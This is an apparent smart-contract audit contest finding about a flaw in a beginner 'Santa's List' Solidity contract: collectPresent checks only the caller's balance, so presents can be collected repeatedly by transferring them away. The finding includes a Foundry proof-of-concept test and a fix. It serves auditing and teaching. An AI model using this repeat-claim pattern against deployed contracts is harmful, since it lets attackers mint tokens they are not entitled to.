First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Logic error allows NICE or EXTRA NICE user collect more presents than intended

MikeDougherty

Summary

There is a logic error in the SantasList::collectPresent function that allows a malicious user, who has been checked twice and given Status.NICE or Status.EXTRA_NICE to collect as many presents as they desire.

Vulnerability Details

The logic in the SantasList::collectPresent function attempts to determine if the msg.sender has already received their present by checking the balance of the address via balanceOf(msg.sender).

function collectPresent() external {
// lines 151..153
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
}

If the user transfers the NFT and/or SantaToken to another address and then calls SantasList::collectPresent again, they will receive another present. This can be demonstrated by adding the follow test case to SantasListTest.t.sol:

​
function testCanCollectMultiplePresents() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
address receiver = makeAddr("receiver");
vm.startPrank(user);
​
uint256 stealCounter = 10;
for (uint256 index = 0; index < stealCounter; index++) {
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
if (santasList.ownerOf(index) == user) {
santasList.transferFrom(user, receiver, index);
assertEq(0, santasList.balanceOf(user));
​
santaToken.transfer(receiver, santaToken.balanceOf(user));
assertEq(0, santaToken.balanceOf(user));
​
assertGe(index + 1, santasList.balanceOf(receiver));
assertEq((index + 1) * 10 ** 18, santaToken.balanceOf(receiver));
}
}
​
assertEq(stealCounter, santasList.balanceOf(receiver));
assertEq(stealCounter * 10**18, santaToken.balanceOf(receiver));
​
vm.stopPrank();
}
​

In this test case stealCounter is set to 10, but this value is limited only by the fact the tokenId is a uint256 (so 1^256 - 1) and/or the amount of gas the malicious actor wants to spend.

Impact

Any msg.sender who has been given the status of either Status.NICE or Status.EXTRA_NICE can theoretically mint themselves 1^256 - 1 NFTs or tokens, depending on their status and the amount of gas they wish to spend. This violates the stated intent of the contract is that the msg.sender with the Status.NICE or Status.EXTRA_NICE status would receive only one present.

Tools Used

Manual Review and Foundry

Recommendations

Create a new status like Status.PRESENT_COLLECTED, then set status of the msg.sender to Status.PRESENT_COLLECTED once the NFT and possible SANTA have been minted. Then check if the present has already been collected before minting new presents.

​
contract SantasList {
enum Status {
NICE,
EXTRA_NICE,
NAUGHTY,
+ PRESENT_COLLECTED,
NOT_CHECKED_TWICE
}
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
+ if (s_theListCheckedOnce[msg.sender] == Status.NAUGHTY || s_theListCheckedTwice[msg.sender] == Status.NAUGHTY) {
+ revert SantasList__NotNice();
+ }
+ if( s_theListCheckedOnce[msg.sender] == Status.PRESENT_COLLECTED || s_theListCheckedTwice[msg.sender] == Status.PRESENT_COLLECTED) {
+ revert SantasList__AlreadyCollected();
+ }
+ if( s_theListCheckedOnce[msg.sender] == Status.NOT_CHECKED_TWICE || s_theListCheckedTwice[msg.sender] == Status.NOT_CHECKED_TWICE) {
+ revert("SantasList__NotCheckedTwice");
+ }
+
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
- return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
- return;
}
- revert SantasList__NotNice();
+ s_theListCheckedOnce[msg.sender] = Status.PRESENT_COLLECTED;
+ s_theListCheckedTwice[msg.sender] = Status.PRESENT_COLLECTED;
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.